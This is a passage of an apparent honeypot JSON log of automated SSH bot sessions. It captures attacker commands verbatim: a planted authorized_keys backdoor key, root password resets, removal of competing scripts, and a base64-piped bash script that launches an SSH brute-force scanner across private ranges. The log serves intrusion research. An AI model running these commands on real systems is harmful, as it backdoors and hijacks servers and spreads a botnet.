\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T04:52:03.291614+00:00","kind":"output","latency_ms":411,"data":""},{"seq":47,"at":"2026-08-23T04:52:11.094619+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T04:52:11.095058+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"prueba123","method":"password","accepted":true,"tier":"other"}]} {"id":"0844521b-6fe2-405e-8725-531adb115801","name":"thawing-jagged-condor","protocol":"ssh","channel_kind":"exec","src_ip":"213.91.234.180","src_port":54362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":357,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T01:09:13.082039+00:00","ended_at":"2026-08-23T01:09:13.187119+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3866,"events":[{"seq":1,"at":"2026-08-23T01:08:45.040752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T01:08:45.395998+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T01:08:49.371712+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T01:08:49.372337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T01:08:49.727529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fWejyfoKTWdR\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T01:08:50.082837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T01:08:50.384886+00:00","kind":"output","latency_ms":657,"data":""},{"seq":8,"at":"2026-08-23T01:08:50.439620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T01:08:50.440285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T01:08:50.796760+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T01:08:51.243488+00:00","kind":"output","latency_ms":445,"data":"15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-23T01:08:51.601041+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T01:08:52.315942+00:00","kind":"output","latency_ms":714,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T01:08:52.673207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T01:08:52.673893+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T01:08:53.032535+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T01:08:53.033062+00:00","kind":"output","latency_ms":null,"data":" 01:08:53 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T01:08:53.391440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T01:08:53.391952+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T01:08:53.748137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T01:08:53.749103+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T01:08:54.107342+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T01:08:54.107889+00:00","kind":"output","latency_ms":null,"data":"top - 01:08:54 up 2 days, 21:59, 0 user, load average: 0.2, 0.21, 0.2\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T01:08:54.464444+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T01:08:54.464769+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T01:08:54.821653+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T01:08:54.822249+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T01:08:55.179290+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T01:08:55.179743+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T01:08:55.535963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T01:08:56.645160+00:00","kind":"output","latency_ms":1107,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T01:08:57.001475+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T01:08:57.614874+00:00","kind":"output","latency_ms":612,"data":"25G"},{"seq":34,"at":"2026-08-23T01:08:58.885618+00:00","kind":"input","latency_ms":null,"data":"echo \"root minecraft1\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T01:08:59.240235+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T01:08:59.694575+00:00","kind":"output","latency_ms":453,"data":""},{"seq":37,"at":"2026-08-23T01:09:00.477651+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T01:09:01.279225+00:00","kind":"output","latency_ms":801,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":39,"at":"2026-08-23T01:09:01.636850+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T01:09:02.309144+00:00","kind":"output","latency_ms":671,"data":"{\"status\":\"ok\",\"note\":\"cache refreshed\",\"ts\":\"2026-08-23T01:07:44Z\"}"},{"seq":41,"at":"2026-08-23T01:09:02.667506+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T01:09:03.022748+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T01:09:03.641883+00:00","kind":"output","latency_ms":617,"data":"1"},{"seq":44,"at":"2026-08-23T01:09:03.999199+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T01:09:04.408766+00:00","kind":"output","latency_ms":409,"data":"1"},{"seq":46,"at":"2026-08-23T01:09:04.766390+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T01:09:05.270367+00:00","kind":"output","latency_ms":502,"data":""},{"seq":48,"at":"2026-08-23T01:09:13.083942+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T01:09:13.084701+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"minecraft1","method":"password","accepted":true,"tier":"other"}]} {"id":"bb8255c1-fa10-47fb-bace-d408951594e4","name":"ivory-gloomy-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"68.183.236.1","src_port":37372,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":772,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T21:59:03.408093+00:00","ended_at":"2026-08-22T21:59:11.945062+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3638,"events":[{"seq":1,"at":"2026-08-22T21:58:29.605029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T21:58:30.368268+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T21:58:36.594886+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T21:58:36.595337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T21:58:37.369053+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pEYx4uCAYcJt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T21:58:38.000234+00:00","kind":"output","latency_ms":631,"data":""},{"seq":7,"at":"2026-08-22T21:58:38.140258+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T21:58:38.911841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T21:58:38.912392+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T21:58:39.682667+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T21:58:40.336672+00:00","kind":"output","latency_ms":652,"data":" 15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-22T21:58:41.108518+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T21:58:41.816382+00:00","kind":"output","latency_ms":706,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T21:58:42.600568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T21:58:42.601089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T21:58:43.364158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T21:58:43.364603+00:00","kind":"output","latency_ms":null,"data":" 21:58:43 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T21:58:44.137010+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T21:58:44.139207+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T21:58:44.913887+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T21:58:44.914514+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T21:58:45.687970+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T21:58:45.688557+00:00","kind":"output","latency_ms":null,"data":"top - 21:58:45 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T21:58:46.461811+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T21:58:46.462950+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T21:58:47.236646+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T21:58:47.237192+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T21:58:48.023152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T21:58:48.023880+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T21:58:48.794032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T21:58:49.689839+00:00","kind":"output","latency_ms":896,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-22T21:58:50.466499+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T21:58:51.339230+00:00","kind":"output","latency_ms":875,"data":"24G"},{"seq":34,"at":"2026-08-22T21:58:53.779468+00:00","kind":"input","latency_ms":null,"data":"echo \"root eric123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T21:58:54.549510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T21:58:55.148927+00:00","kind":"output","latency_ms":596,"data":""},{"seq":37,"at":"2026-08-22T21:58:57.319606+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T21:58:57.937693+00:00","kind":"output","latency_ms":617,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T21:58:58.708770+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T21:58:59.225607+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T21:58:59.999522+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T21:59:00.769001+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T21:59:01.439664+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T21:59:02.212178+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T21:59:02.635849+00:00","kind":"output","latency_ms":422,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T21:59:03.408905+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T21:59:03.906762+00:00","kind":"output","latency_ms":496,"data":"bash: line 1: /var/tmp/.systemcache436621: No such file or directory"}],"credentials":[{"username":"root","password":"eric123","method":"password","accepted":true,"tier":"other"}]} {"id":"f0f09920-b4c1-4d19-92d8-fdac78e39488","name":"solar-cheerful-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"103.134.154.195","src_port":46574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":791,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T15:42:34.931139+00:00","ended_at":"2026-08-22T15:42:35.179940+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3563,"events":[{"seq":1,"at":"2026-08-22T15:41:50.179193+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T15:41:50.654306+00:00","kind":"output","latency_ms":475,"data":"-bash: lockr: command not found"},{"seq":3,"at":"2026-08-22T15:41:51.693230+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-22T15:41:58.700243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-22T15:41:58.700729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-22T15:41:59.491806+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oNGOvpubQjmx\"|chpasswd|bash"},{"seq":7,"at":"2026-08-22T15:42:00.042255+00:00","kind":"output","latency_ms":547,"data":""},{"seq":8,"at":"2026-08-22T15:42:00.285505+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-22T15:42:01.074047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-22T15:42:01.074520+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-22T15:42:01.866247+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-22T15:42:02.430923+00:00","kind":"output","latency_ms":564,"data":"15888 8124 5764 1032 968 0"},{"seq":13,"at":"2026-08-22T15:42:03.219908+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-22T15:42:03.747306+00:00","kind":"output","latency_ms":526,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-22T15:42:04.537807+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T15:42:04.538246+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-22T15:42:05.331408+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-22T15:42:05.331820+00:00","kind":"output","latency_ms":null,"data":" 15:42:05 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-22T15:42:06.127031+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-22T15:42:06.127479+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-22T15:42:06.916966+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-22T15:42:06.917850+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-22T15:42:07.867238+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-22T15:42:07.867942+00:00","kind":"output","latency_ms":null,"data":"top - 15:42:07 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-22T15:42:08.659130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-22T15:42:08.659840+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-22T15:42:09.450179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-22T15:42:09.450660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-22T15:42:10.243435+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-22T15:42:10.252047+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-22T15:42:11.043041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-22T15:42:11.622912+00:00","kind":"output","latency_ms":580,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-22T15:42:12.412797+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 